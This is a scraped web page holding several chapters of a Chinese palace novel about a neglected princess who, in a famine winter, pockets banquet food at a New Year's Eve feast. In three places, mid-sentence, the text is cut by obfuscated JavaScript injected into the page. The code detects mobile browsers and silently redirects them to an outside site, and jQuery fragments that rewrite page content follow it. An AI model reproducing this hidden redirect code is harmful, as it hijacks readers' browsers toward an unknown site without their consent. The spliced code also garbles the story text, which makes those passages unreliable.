有蛋又有肉,这可不是餐餐都能吃到的,今年的冬日实在太过寒冷了,又到了年关,是公主做主杀来吃的给大家吃的,多点荤腥,平常那些兔子春山看护得跟眼珠子似的,但真真好吃! 吃得暖烘烘香喷喷的春山忽然记起了什么,将脸从碗里抬起来:“方才去交送画稿时江七说,如今宫外米面铺子已经都不开张了有钱没地儿买,炭火的话若从他手中购得须按时下京城炭价再往上翻三倍,他今日这一趟出宫明日宫中就要开始戒严了,不过他有门路可以从尚膳监和惜薪司那边搞些米面炭火,就是宫里私卖的陈米三两一斤……” 说到最后春山咬牙切齿:“呸!黑心肝儿的,也不怕闪了舌头!” 杏芽听着拿筷子的手都被吓得抖了抖,结巴着开口问道:“怎的……一下涨得这么多?” 春山满脸沮丧:“京城越发不太平了,江七说外头店铺都关门了,城外都是流民……听说城外一里处的半月坡流民已经占满了整座山头,山上能挖的树根草皮都挖空了,今儿我听说已经有人开始架锅飘肉香味儿了……” 春山显着稚嫩的脸上是不符他年纪的愁绪,屋里忽而静默,气氛有些沉重。今年从入冬开始,寒潮骤然侵袭,卫京城里大雪一场接一场冷得实在出奇,更遑论比卫京更北的那些地儿,最近两月,便是她们在西巷这样闭塞之地听说有许多灾民涌入都城。 “可有人管这些灾民?”孟书渺问道。 春山想了想回道:“流民聚集已有些时日了,说是怕闹是非影响京都治安,城防营去清过几回,听说死的抓的还有跑走离开的都不少,只是依旧有源源不断的流民,半月坡上的人只多不少。 我且听那几个采买回来的内监们谈论时说,明儿除夕宫宴后帝后按制携手共登正阳门,防有流寇漏进城来,怕闹出事来惊扰圣驾,还有北鞑的议和使团也即将抵京,大抵是怕影响不好了,今早又从三大营中调了不少人去清流民,说下了狠手,闹得有些大了,听说死了不少哩!这不宫里也戒严着,江七说采买出趟宫都要三道盘查。” 孟书渺默然,显然她所想的“管”和春山口中朝廷的“管”不是一个意思。 春山满嘴野菜糊糊,“我还听那几个采买的说南边乱成了一锅粥,说是苏州奴变,说……说好似流民纠集冲了江宁巡抚府,杀了巡抚及家眷,开仓分粮见者有份,原先只是一群饿极的流民,后来人越聚越多,占了苏州城,专虏官员官眷、地主富商来杀,抢了粮食钱财平分,苏州守备军不是被杀了就是降了加入,扬州、金陵、建邺甚至钱塘、嘉兴等地都开始暴动,听说今早军报送入清辉殿后圣上大怒圣上直接叱骂江南总督是废物,清辉殿外伺候的宫人都听见了,大抵说是要革了江南总督的职,再后应是要着人去江南平乱。” 孟书渺听着,本想感慨说几句,张了张嘴,却什么也没说出来,最后只有一声无力的叹息。 她其实想说,这样的奴变,在她的那个世界有新的叫法,曾经也发生过,后来成功了,然后就是一个新的时代。 她曾经也追过不少穿越小说影视剧,在古代邂逅爱情冒险奇遇,对古人的想象浪漫而热烈,可那都是创作者基于现代社会的知识层面创作的,当一个接受过现代文明现代教育意识根深蒂固的人真正身处于一个古代封建王朝时是不会适应的, 不美好,怎么可能美好?想要适应就只能被封建时代同化,这个同化的过程漫长而痛苦。穿越其实是地狱,不是那些情情爱爱小说里的天堂。 就如同曾经先生说过,这地方,吃人。 孟书渺来到这个世界,深刻地体会着这里的残酷。 毗邻的冷宫,从下雪开始到现在不过一月有余,数着已经扛出去了六七卷草席了,孟书渺撞见过内侍骂着晦气抬着草席,一只僵硬青白长满冻疮高高肿起的女人小脚从草席卷里露出来从门前匆匆而过,再也不知生后去路; 她也曾亲眼见过,十来个宫人被绑缚了手脚堵住嘴像待宰的牲畜一样被丢在一起,手臂粗的棍子一棍又一棍,哀嚎遍天。因为七皇子意外夭折,为儆效尤所有伺候七皇子的宫人不论有错无错统统被赐死,阖宫宫人观刑。孟书渺也是那时才知道原来从一个活生生的人被打成一滩烂肉都不用两个小时,连路边的花草都覆盖上了一层血浆…… 从记忆中翻出那血腥的画面,孟书渺感觉鼻腔里也隐隐有了作呕的血腥味,她呷口白开水将那股血腥味压下去,抬头看着正在认认真真吃饭的杏芽和春山。 杏芽的父亲家贫娶不起妻,为了有后耗尽家财从杏芽母亲的丈夫那典妻生子,杏芽是家里的老大,小小的她印象中阿娘总是在流泪,直到七岁的时候阿娘在她家生下了最小的弟弟后后被丈夫领走了,从此之后杏芽说她再也没见过阿娘了,如果不是入了宫,她可能也要走自己母亲的老路。 而春山原是岳州府内一个山脚农户家的孩子,一大家子人每天起早贪黑勤勤恳恳像祖宗一样伺候家里的一亩三分田,可还是连碗稠点的粥都喝不起,一年又一年是缴不完的苛税服不完的徭役。那年县里有地主豪绅看上了他们村子里的地,但阿爹和阿爷不想卖了这一家人赖以生存的两亩薄田,有一天春山的阿爷阿爹们出门下田去干活却再也没回来,被人发现的时候他们僵直躺在田垄上头却栽进去就这样死在了他们侍弄了一辈子的稻田里。县衙来了差役,查案后说阿爷阿爹和阿叔是吃醉了酒打晃摔进田里溺死的,可是穷苦的庄稼汉哪有钱喝得起粮食酿的酒,但县太爷如明镜高悬,铁口断案。 家里的田最终还是卖了,卖田的钱却还不够给阿爷阿爹他们买几口薄棺。再后来岳州府闹了饥荒,全家就只剩下了春山和他阿娘,恰逢京城宫里有内监来选宫人,春山阿娘把八岁的春山去了根 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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西巷连着冷宫这一块,前朝时期倒是正常的起居住地,只是后来死了人散出来闹鬼的传闻才慢慢荒凉起来,所以很多屋子里桌椅板凳、床板窗子一应俱全,有些甚至还是上好的红木所制,只都破败了,但当柴烧是不挑的。 孟书渺其实早几年就已经盯上了那些桌椅板凳,只是以前的冬季没今年这么难熬,她就一直没动留着以备不时之需,这不就用上了嘛! 反正除了他们这里的几个人也只有后面冷宫里的那几个了,宫里的人都嫌这一片晦气,没人会吃饱了撑的来查看一下这片屋子里那些破家俱是不是还健在。 待到晚饭吃完以后天已经完全黑了,原本白日里好不容易放了晴的天这会儿又开始飘起了雪花,倒也没有下大,只零星斑点的小雪于哀嚎的寒风中混乱飞舞。 孟书渺靠着软枕窝着被褥半坐在床头,在床上支了个小案桌,就着油灯下昏黄的光线继续整理画稿。 杏芽把热乎的汤婆子塞进孟书渺的被窝后开始转过去给旁边小床铺床,入冬以后她们四个人都是睡一个屋的,春山睡得靠外些,用一道帘子隔开,这样大家都暖和也省柴火, 铺完床杏芽又去掀了柴火炉个盖板,又往里头添了几根柴。这柴火炉是孟书渺仿照现代野营用的便捷柴火炉的样子托人在宫外打制的,小桌案大小四方一个盒子,底下搁四个桌角架空,掀了上方的盖板可以在炉肚里头加柴烧火取暖,放在靠近矮窗下的墙边,用土坯泥搓了通气管将就排烟。 这炉子是当年孟书渺在画稿攒下一笔不菲积蓄后狠狠心做了决断咬牙买的。 卫朝民间用铁管控严格,就这么一个拼拼凑凑形状有些怪异的小柴火炉,当初耗空了他们当下所有积蓄,其中包括李贵妃临死前好不容易暗中秘密留给女儿一些珍贵珠宝,艰难辗转托了人才带进宫的。 也正是靠着这个柴火炉,她们才得以在西巷挨过了一个个冰天雪地。 5. 第 5 章 简陋的小屋里很暖和。 巽娘正拿着孟书渺一件藕荷色霞帔在用汤婆子熨褶皱,司衣局派的公主吉服,这是整个西巷最贵重的一件衣裳了。 明晚的除夕宫宴孟书渺也要参加。 说来也挺好笑的,她有时候真的挺看不懂这姓高的一家子的迷惑操作的。 当年成国公府李氏也是盛极一时,据说李氏原是武将立身,李家领黑甲军驻守北境抵抗北鞑三十载,军功赫赫,明帝登基后,李氏嫡长女受贵妃宝册。 但烈火烹油鲜花着锦,明帝登位后成国公府便慢慢衰败下去,李贵妃怀胎八月时成国公府满门抄斩,理由是成国公府通敌叛国。 先是成国公府被抄后李贵妃所生的四皇子失足落水溺亡,李贵妃不足月便临盆诞下一个女婴,随后留下一封陈情书后自戕而亡,最后只有原身这个女婴被留了下来,由大宫女带着避居西巷,李岁宁这个名字就是李贵妃在自戕前给女儿取的。 这些都是孟书渺这些年来零零散散听到耳朵里的,至于这其中究竟是如何的真相波折,作为为数不多的知情人,巽娘从来都是缄口不提。 孟书渺总结,概括来讲李岁宁的人生就是:无情的爹,自杀的娘,狠毒的后妈,体弱破碎的她,再加一个杀人前要先念阿弥陀的念佛慈祥老奶,这简直跟苦情文女主叠buff似的。 本来吧,所有人都默认了这没名没分的五公主就是根地里黄的小白菜,然而三年前孟书渺一场重病,囿困于西巷,皇后想趁她的病要了她的命,就在几人都束手无策眼睁睁看着她已经快出气多进气少的时候,巽娘从院子里那棵歪脖子老树下刨了个坑,挖出了一个匣子,从匣子里拿了样东西揣怀里趁着夜色偷偷地来回进出西巷好几趟。 两天后广安寺住持方丈净安照例进宫为太后讲经时参悟言明太后亲缘业障,般若渐妄,有碍参禅悟道。 太后潜心念佛多年,最是在意她的修行,正想着这究竟指向的是她哪个孝子贤孙,就听底下的人说起,这几天西巷那边有人日日去太医署哭求救治五公主。 太后想了老半天才想起来这个“五公主”讲的是哪个……论起来太后和原身可不止亲祖孙关系那么简单,太后乃已故李氏老太君的母家远亲族妹,只这层关系在成国公府覆灭后便鲜有人提及,不知道她心里是怎么盘算的,反正最后就是她出手打破了皇后的死亡封锁,不但让巽娘从太医署拿了药,还遣了个太医跟着一道回去 这事据说当时在前朝后宫中还小范围议论过。 彼时孟书渺的这具身体也只十六岁,靠着一点残血竟也硬生生地挺了过来,然后在她刚醒来尚且蔫得稀粥都还吞不下时,寿安宫来传话,太后要五公主在她老人家的寿诞千秋宴上去磕头请个安,并言日后宫中一些隆重的节庆筵席五公主都可过去露露脸。 然后就有了这套公主吉服。 可能她发育得稍微晚一点,衣服是三年前给的,距离上一回她穿这套吉服已经是快九个月前的事了,上回缩一缩胳膊肘还能勉强凑合着穿,这次因为要去除夕宫宴提前拿出来试了试,发现又衣裳短一截。 巽娘这两天一直在忙着重新拆线将衣裳改大,她针线活好,改动过后倒也没特别突兀,反正孟书渺觉着只要不是凑到她身边来,是瞧不出来什么的,说到底能咋办,就给了这么一件,多的她也没有啊。 她想着反正到了宴上也没什么人会在意到她,真要有人注意到了,那就笑呗,反正她是不会觉得尴尬丢脸的。 *** 翌日,除夕年三十。 孟书渺一贯畏寒,从晨起醒来开始她便窝在榻上盖着褥子不愿挪动,伏案画了快一整天的画稿,直到天色渐暗。 除夕宫宴于酉时一刻正式开宴,孟书渺早一个时辰就要开始换洗梳妆做准备了。 说是换洗梳妆,但其实也没什么可准备的,巽娘只简单得给孟书渺挽了一个单螺髻,簪了一朵她自己手作的藕荷色绢花,算作与公主吉服颜色呼应。 脸上涂一层防皲裂的脂膏,除此之外孟书渺什么胭脂水粉都没抹,在西巷这般吃饱饭都困难的环境里,胭脂水粉珠钗环佩这类锦上添花的玩意儿是不在她们的消费水平范围内。 就这么清凌凌一张巴掌大小的素脸,一直以来有些病态白皙的脸色在亮暖色吉服映衬下,还有头上简单但精巧的簪花螺髻,显得她整个人的气色都好上了三分。 “若饭食是冷的,你且少食些,莫贪杯吃酒,还有,到了那处以后便尽量低调,莫要好奇看管闲事惹人眼,与人碰上能避则避……” 巽娘正蹲在地上给孟书渺的膝盖绑护膝,一边绑一边絮絮叨叨,每回孟书渺去宫中节宴上露脸之前巽娘都要这般殷殷叮嘱一番。 孟书渺在心里叹息,就今晚参宴的那些人,但凡有人想要弄她,她再是低调都没鸟用的。 但这话她自是不会说出口,只笑着应声道:“好姑姑,我自是晓得的,您且宽宽心吧……芽芽啊,袋子好了没?” 杏芽应了一声,拿过来一个缝制得怪模怪样的羊皮袋子,袋子口做抽绳收紧,又另缀了两根长绦,长绦于孟书渺腰间交叉缠绕两圈打结,羊皮袋子便绑缚在了她左侧腰的位置。 绑好袋子,外衫裙摆放下,正好将其遮挡掩饰,丝毫看不出来。 巽娘看着两人的动作,无奈叹息摇了摇头,并未阻止,将最后的一件打补丁的大氅披在孟书渺身上,轻声提醒说:“莫教人瞧见了去。” 孟书渺嘿嘿笑了两声,拢紧身上的大氅,招呼身后的杏芽和春山,作为曾经李贵妃的张氏大宫女、成国公府出身的家婢,巽娘等闲是不敢轻易在人前露脸的,生怕引来不必要的麻烦,以往这种宴席一般只允许带一人随侍在侧,故而孟书渺一直都是带的杏芽。 踏着风雪,一路从西巷走到设宴的太和殿。 孟书渺行至太和殿门口,远远便能瞧见殿内外一片灯火通明,璀璨辉煌,影影绰绰听得店内那些闲谈说笑之声,时间掐得正好,不是最早也不算晚。 殿外已经站满了今晚值守的侍卫,以及侍立在外随时听宣的内监们。 孟书渺上了台阶,杏芽对着殿门口侍立的引路宫女施礼,说了句“西巷,五公主。” 那宫女一听是西巷的五公主,自认为很隐秘地抬眼偷瞄了孟书渺一眼,而后才略一欠身引着她们往殿里走。 孟书渺心里明白这妹子在想什么,她只当没看见,跟在身后往殿里走,甫一进殿,香气带着融融暖意便扑面而来。 孟书渺打眼一瞧,殿里大部分人都已经就坐入席,有人在推杯换盏,亦有人谈笑风生,她进来时动静很小,偌大的殿宇,坐在靠里些的大部分人都未注意。 倒是靠近门边的两个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16212688|181355||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身着诰命服的中年妇人发现了进门来的她,稍年长些的妇人以一种审视的目光不着痕迹地将孟书渺从上到下打量一遍,而后抬手掩袖不知在另一个妇人耳边轻语了什么,随后两个妇人便一起望向了孟书渺,虽都掩了半面,但两人目光中如出一辙的轻慢戏谑却是如实质搬的明显。 孟书渺继续当做淡定地视而不见,在引路宫女的指引下到了自己的席位上。 这除夕宫宴男女分席而设,没有任何意外,孟书渺被安排在了女宾席末端,这是是角落里最靠近殿门的一处席位,她都能间或感觉到半边脸上有从门缝里漏进来的飕飕寒气。 不错,虽然是个明显被孤立的位子,但也方便她摸鱼搂席呀! 孟书渺脱下大氅在圈椅上端坐了下来,随后视线在面前的桌案上一扫—— 因着尚未正式开宴,三巨头都还没有到场,席面菜色也没摆上来,案上只摆了两盘不知名的精致点心,一盘红枣,外加一盏茶,伸手一摸,茶水已经冰冷。 孟书渺捻了颗红枣放进嘴里……嗯,核儿大肉少,不怎么甜……正想着,无意间微微侧头,碰巧与旁边席案位子的那少女目光对个正着。 少女和孟书渺相仿的年纪,生得一副姣好容貌,黛眉白玉面,粉腮朱唇的脸在脂粉修饰下带着些瘦弱之感,和孟书渺那种一眼就能让人瞧出是个有大病的病秧子模样不同,这姑娘冬季略显宽松的公主吉服下依旧削肩纤腰,弱柳扶风,眉宇间有着淡淡的哀愁,很有一种黛玉式的美感。 两人目光相触,少女带着些羞涩的笑朝孟书渺微微欠身点头一礼,轻声开口:“五妹妹安。” 孟书渺用手接着,赶紧吐掉了嘴里的枣核,对着面前的少女回礼,标准礼貌微笑:“四姐姐同安。” 要说今儿个在场吃席的众多任当中谁最倒霉苦逼,她第一,这个小姐姐排第二。 皇帝生的这堆公主里头,这姐排行老四,和孟书渺同岁,是除孟书渺外唯二没有封号的公主。 这座皇宫,真的是将身份高低摆得明明白白,同样是皇帝的女儿,也要分出高低贵贱。 四公主生母身份卑微,面貌普通,原是淑妃宫中一洗脚婢,明帝在淑妃宫中吃醉了酒,拉着正为他洗脚的宫婢上了塌。事后淑妃恼怒,将人罚去了掖庭,直到这洗脚婢在掖庭一圈又一圈腹带之下的孕肚再也掩藏不住。 那时淑妃受宠,与皇后关系一度剑拔弩张,淑妃想要这宫婢的命,皇后就彰显大度偏要保那洗脚婢,之后见其生下的是个女儿,掀不起什么水花来,明帝随意封了个末等采女,母女俩被打发去了一个偏殿居住,一直到现在都不曾挪动。 皇宫这么大,孟书渺和这个有点同病相怜意味的姐姐,一个住在偏僻的最西边,一个住在最东边,明明是亲姐妹但之前长这么大从未见过,直到太后让孟书渺节日打卡露脸,孟书渺第一次在宴上碰到了这个有点怕生的四公主。 不过这个四姐姐的日子大抵是要比她稍微好过些的,作为正儿八经的公主,至少人家有名有姓的,至少人家每回出来穿的衣裳不至于捉襟见肘缝缝补补,不至于整天为吃穿发愁……至少她的亲娘还好好地活着和她住在一处。 有妈的孩子就是一块宝。 准确来说孟书渺她有两个妈,一个在她出生时就去世了,另一个,她不知道今生来世还有没有再见一面的机会。 6. 第 6 章 孟书渺和四公主其实接触并不多,仅限于在寥寥几次宴会上的碰面交谈,唯一一次私下接触就是去年她让人给孟书渺送了一件她母亲做的大氅。 当时那场宴乐结束之时,孟书渺披了巽娘给她缝的大氅正准备离开,正巧被宝安公主正面碰上。 宝安公主行六,乃皇后嫡出,平日里骄纵跋扈,这老六按她爹后宫嫔妃的位份等级划分,规律性地鄙视一切庶出的兄弟姊妹,而孟书渺正好位于她鄙视链的最底端,当天她心情不错,只是指着孟书渺披在身上的大氅捏着鼻子嘲讽道:“真是什么穷酸货都往这儿扑,也不知是打哪个乞儿身上扒下来的,一股子味儿,熏人!” 当时四公主就在旁边。 其实就是孟书渺的披风因布料不是很好,多洗几次有些脱线泛白。 孟书渺回去后没多久,四公主便悄悄地送来了一件新制的大氅,外料是丝绸的,绣纹精致漂亮很适合年轻的姑娘家。 两人正轻声聊着,忽而听得殿外传来内监嗓音尖利的高唱:“陛下至!太后娘娘至!皇后娘娘至!” 原本热闹喧哗的大殿霎时安静了下来,所有人俱是忙不迭回到自己的席位,纷纷撩开衣摆下跪,躬身敬候圣驾。 孟书渺叹口气,认命地随着众人一道下跪,她跪在后殿门与桌案中间狭窄的过道上身体悄悄往后挪动,不着痕迹的调整方位,利用桌案的遮挡将自己的存在感降到最低。 匍匐跪在冰凉的地面上,头埋得很低,敛目垂头跪得端正,孟书渺变听得一个充满威严的中年男音说了句:“起罢。” 众人谢恩起身回坐。 卫明帝瞧着年约四十有余,精蓄髭鬚,略宽圆脸,头戴帝冕,敦实的中等身材,若光看身形,倒是与这个年纪的普通中年男子无意,但一身赭黄冕服加身,常年居于最高位之上,那股不怒自威的上位者气势叫人心生敬畏。 只见他龙袍下摆一撩,大马金刀地往上首正中的龙椅上一坐,满含威严的视线将在场扫视一边,而后沉声开口:“今,逢新春黎明之至,朕聊思当年之忆,吾以仁义之志为期,太平德良之室,民生安禄……” 气势如虹的声音在偌大的宫殿里散开来,孟书渺坐得最远,等飘到她耳朵里的时候已经带了些回音,辞藻华丽的骈文语,她左耳朵进右耳朵出听了个大概,大白话的大意就是:啊呀新的一年即将来临,回顾旧年,我可真是个勤政爱民的好皇帝啊巴拉巴拉,在我领导下百姓日子过得多好巴拉巴拉,我很自豪巴拉巴拉…… 切! 死老登睁眼说瞎话,真会往自己脸上贴金,瞧这牛批吹的,城外灾民都已经开始人吃人了,北边还正打着仗,东边海域听说水匪和倭寇也不少,西边也不安稳,就这? 观四下无人注意,孟书渺又快速往嘴里塞了颗枣子,巽娘说这种枣子排盘一般就是为了宴席餐前美观用的,等上了正食就要撤下去的,她得抓紧多吃几个,补血补血补血。 明帝冗长发言终于结束,喘口气的间隙,就见男宾席中一人出列站到正中,对着明帝躬身一礼,神情激昂,朗朗发声:“圣人受眷天命,陛下圣明,隆恩仁德,臣等愿竭尽臣民之所能,报陛下圣恩!” 震耳发聩,荡气回肠。 不知又是谁带的头,在场所有人又再一次呼啦啦站起身,再次开始行跪拜叩首大礼。 孟书渺咀嚼了一半的枣子差点卡嗓子眼里,她有点手忙脚乱地跟着一块起身,随着大伙儿一块跪下。 就是这下跪也可有讲究了,像这般正式的重大场合需要行跪拜大礼,按礼仪要求,稽首、顿首、空首,须双腿完全屈膝下跪,左右手上下交叠放于膝前,以手抵额缓缓叩首,整个人以跪姿趴匐在地,不能塌腰撅腚,得趴得好看,趴得庄严肃穆,又要谦卑恭逊。 孟书渺被巽娘来回教导过无数次,也这般对着那些人跪过不知几回,但她还是不习惯。 “陛下隆恩,国运昌盛!” “陛下隆恩,国运昌盛!” 她埋头跪在角落里,混在一群人中间口齿含糊地跟着滥竽充数,说实在她是挺佩服这些人的,就跟事先排练过似的,行动统一口号一致。 金砖铺陈的地面冰凉有坚硬,孟书渺头埋得很低,低到可以在光可鉴人的地面上清晰地看到自己面容的倒影。 嘿嘿嘿,她这次膝盖上绑的护膝是加厚款。 “朕自是明了众卿之心,都起罢,赐宴。”明帝大悦,终于开始进入今晚的除夕宴的主题。 众人再次谢恩起身回坐,正式开宴。 丝竹之声顿起,靡靡悦耳,一列身子曼妙的舞姬款步入殿而来,身子曼妙,随着乐声轻纱水袖开始偏偏舞动。 丝竹悦耳伴随着曼妙舞姿让明帝到场后的拘束气氛慢慢淡了些,不少人开始放松下来有了兴致观赏舞蹈,但孟书渺的目光却丝毫没往那上面放,她的全部注意力都在自己面前的几盘点心上。 抬眼偷偷朝殿门外的方向暼一眼,四下打量一圈,于是她把手放到桌案下,撩开大衫衣襟下摆的衣角把出门前绑缚在腰间的羊皮袋拿出来,拉开收口绳,从里面掏出一张油纸,摊开置于膝上,然后再次警惕得扫视整个大殿一圈,确定无人注意到她这边后飞快地拿过一个碟子,将盛在碟中的点心倒在铺开的油纸上,再将空碟子放回,整套动作干净利索不拖泥带水。 她镇定自若,紧接着将第二碟点心如法炮制,然后将油纸包好,塞进了自己左袖中,吉服袖子宽大,巽娘在袖筒里给她缝了个暗袋。 紧接着,继续面色如尝抓一把红枣放进腰间的羊皮袋,再抓一把,没人注意,再一把,一共抓了三把,将整碟子红枣尽数装入袋中,收手,然后正襟危坐欣赏舞姬跳舞。 就在她做完这些的同时,一列宫婢训练有素地鱼贯而入,两人一族,一人端托盘一人服侍,开始一次给在座的的并可们开席上菜。 负责孟书渺这桌服侍的宫婢来到案前,见到三个空空如也的碟子时明显一顿,抬眼悄悄瞥了孟书渺一眼。 孟书渺眼观鼻鼻观心依旧认真欣赏舞蹈表演。 待上菜的侍女全部退出去大殿的门被关上,孟书渺才将视线从舞姬身上撤回,去看案上摆的菜肴。 一共摆了六个菜——一道炙烤羊肉、一个烩三鲜、炒虾仁、海参蹄筋煲、一盘五彩斑斓的八宝饭、一小碗羊乳甜酥酪,外加一壶酒。 啧,不大好打包啊…… 认真研究,海参蹄筋煲是架了小炉子的古董羹,还有八宝饭应是刚蒸出来还冒着热气,除了这两道以外其余菜全是冷的。 她思索片刻,又从羊皮袋中掏出一张油纸摊开,见无人注意就三两下把那盘炙羊肉都转移过来用包好放入袋中。 前几次参加这样的宴席,孟书渺试着打包偷带一点,再带一点,后来发现无人在意也无人发现,她就稍稍大了点胆子。 这不都要过年了,她屋头快要揭不开锅了,这羊毛不薅白不薅,吃不了兜着走是她中华民族爱惜粮食的传统美!。 又拿过一个空碗,孟书渺舀了一勺海参蹄筋煲的汤羹到碗中,浅尝一口,御厨的手艺不错,蹄筋炖得软烂,汤羹浓稠醇厚,又加入了火腿辅佐海参,咸香鲜美。 不急不缓喝完一碗,这些天来难得有了点胃口,于是她又舀了一碗,这玩意儿她带不走,又难得是热的,得多吃点,不能浪费。 衣香鬓影、觥筹交错,一波波的人出来向明帝敬酒吹彩虹屁,最先是孟书渺那几个便宜兄弟,一个一个敬,之后几个瞧着眼熟的公主也不甘示弱。 孟书渺没去,临桌的四公主也没动。 之后便是一些皇室宗亲和朝中大臣和公侯敬酒,明帝约莫今日心情不错,倒也是来者不拒。 孟书渺埋下头去吃两口蹄筋煲,再次抬起头来,刚巧,那个被明帝唤做皇叔的白胡子老头敬完就回去落座,另一个白胡子老头又接着端着酒杯站了出来。 这老头穿的是一品绯色官袍,孟书渺倒也认识,当朝太师,同时也是明帝的老丈人,挺好认的,对着皇后那张脸一瞧就知道这是父女俩。 孙太师朱颜鹤发,一开口中气十足:“陛下,老臣……” 只他张嘴还没来得及多说几个字就被一道婉转如莺啼女声打断:“陛下,臣妾方才数着呢, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16212689|181355||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 您已经吃了八杯了,再贪杯,待到宴后登正阳门受了冷风,再来重华宫里要臣妾的醒酒茶吃,臣妾便不依了,只管喊太医便是。” 女声娇脆悦耳,语气里还带着亲昵的嗔怪之意。 宴会大殿由此蓦地一静, 孟书渺朝上首位置看去,皇帝坐在正中首位的龙椅上,上首的席位呈拱形向外扩开,他稍偏左坐的是他亲娘皇太后,右手边是皇后,本来上首处左中右三个席位正好,可现如今皇后下首位置原本隔开来的空道上突兀地又摆着一张席案,坐着如今圣眷正浓的欣贵妃,打断孙太师说话的女声正是她。 欣贵妃不过双十年华,通身珠翠华服的气派,生得昳丽娇艳,风姿绰约,是位有着倾城之色的美人。 她对整场一瞬的凝滞气氛仿若不察,只对着明帝笑得娇媚娇嗔,有意思说不清的小女人意味:“陛下要是怪臣妾扫兴那臣妾也别无他法,大不了回了重华宫臣妾就托簪煮醒酒汤去。” 说着她转过头对着下面站立的孙太师微微一笑:“孙大人不会怪罪吧,本宫这也是为圣体着想。” 孙太师一看就是个心态极稳的老头,此等被人落面子的场景他的脸色竟也没有丝毫变化,对着明帝拱手一揖,笑道:“贵妃娘娘所言极是,只老臣今日除夕佳节兴致高多贪了几杯,不及贵妃想得周到,是老臣之过,老臣敬陛下圣体安康,千秋万代。” 之后便拿着空酒杯退回入席而去。 孟书渺眼珠子乱转,视线这里那里来回扫都快不够看了,明帝朗声大笑:“朕多吃了几杯也确有醉意,贵妃心直口快,只是担心朕,还望太师勿怪。” 孙太师连忙“不敢不敢”。 太后娘娘老神在在,从头至尾不曾开口,手里拨着琉璃佛珠,活像一尊老菩萨。 孙皇后已经病了有好长一段时日了,协理六宫之权都交给了欣贵妃,不知是不是还病着的缘故,此时脸色不大好看。 欣贵妃美艳绝色的脸因为明帝的维护打圆场笑得有些肆无忌惮地明媚张扬,宠妃气势十足,她低头逗弄趴在自己膝上的小童,低声不知说了句什么,那粉雕玉琢的小童起身迈着小短腿蹬蹬蹬跑到明帝脚边,昂头奶声奶满脸的孺慕:“父皇,不吃酒了,小六背先生教的给父皇听,吴子曰,昔之图国家者,必先教百姓而亲万民。四有不和……” 小家伙由头晃脑地背起了兵书,明帝大悦,一把将这孩子抱起来抱坐于自己膝上。 稚嫩的童音很是清脆,响在大殿里。 皇后大概确实还在病中,脸色又不好了几分。 孟书渺筷子夹起一颗炒虾仁,将其丢入咕咚冒热气泡的蹄筋煲中进行加热。她安安静静地缩在角落里,吃一颗热好的虾仁,嚼吧嚼吧,不错,没有腥味,挺鲜挺好吃的。 也挺好看的,就发生在眼前真实的宫斗,可她一千的电子榨菜《甄嬛传》还要下饭。 …… 只这么一出之后,自是没人再出来向圣上敬酒。 孟书渺就这么一直混到了宴席结束,很幸运,在此期间没人注意到她也没谁来找茬,这让她舒舒服服地把那一小罐海参蹄筋煲混着炒虾仁吃了干净。 除夕宫宴后今晚还有第二弹,皇帝要携后宫众眷登临正阳门城楼,让城中百姓瞻仰天家威严,同时还要放驱逐年兽的烟花礼炮。 明帝起身移动驾正阳门,殿内众人跪送起身之后自是要跟随着一道去的。 明帝手上抱着六皇子不假人手,率先走出殿外,身边的是太后,落后一步在他身侧一左一右分别就是皇后与欣贵妃。 贵妃巧笑嫣兮与明帝边走边说笑着,皇后依然病着,脸色更加不好看了。 孟书渺悄悄收回视线,故意慢吞吞的落在最后,眼看着殿中人都走光了,她以迅雷不及掩耳的速度从腰间羊皮袋中抽出最后一张油纸,放在桌上,把已经凉透的八宝饭直接倒扣在油纸上,包裹着油纸团吧团吧,塞进羊皮袋中,然后抽绳收口,掩好衣摆,最后跟着走出了大殿。 临走前,她最后扫了一眼大殿,可惜,这一桌桌的菜肴除了她以外压根就没人动几筷子,可惜了,真浪费! 7. 第 7 章 甫一出殿门,便是一股冷冽刮脸的寒气扑面而来。 从大殿内的温暖中还没缓过神来,孟书渺冷不丁打了个寒颤,杏芽见状赶紧将手中的大氅给她披上。 前头已经浩浩荡荡地走远了,孟书渺落在最后头,才走下阶,便发现四公主和她随侍的宫婢等在前面,两人互相见礼,一道并肩缓步走着,四公主看了一眼明显没有要去登正阳门的孟书渺,问道:“五妹今年也不去正阳门赏烟花吗?” 孟书渺摇摇头:“不去了,我身子骨经不起吹风,不去皇祖母他们不会在意的。” 慈祥老奶只规定了她要在重要节宴露脸,没规定别的,与皇帝同登正阳门那是与有荣焉的,像孟书渺这种没名的不受宠公主去不去根本无人在意。 孟书渺也乐得自在,她可不想大晚上的爬高去喝西北风,她在现代跨年夜的时候什么样的烟花秀没见过,两个时代的科技发展力水平摆在那里,正阳门城楼上的烟花对她来说就跟放了几个二踢脚差不多,实在没什么吸引力。 还因为在这里的每一年对她来说都是煎熬,她代入不了那寓意来年祈盼美好的心情去欣赏又熬过一年的烟花在夜空中绽开。 “四姐姐也不去吗?”她看四公主反问。 四公主笑笑,轻声细语:“不去了,年年如此,不若早些回香兰轩陪阿娘守岁,我不去也不妨事。” 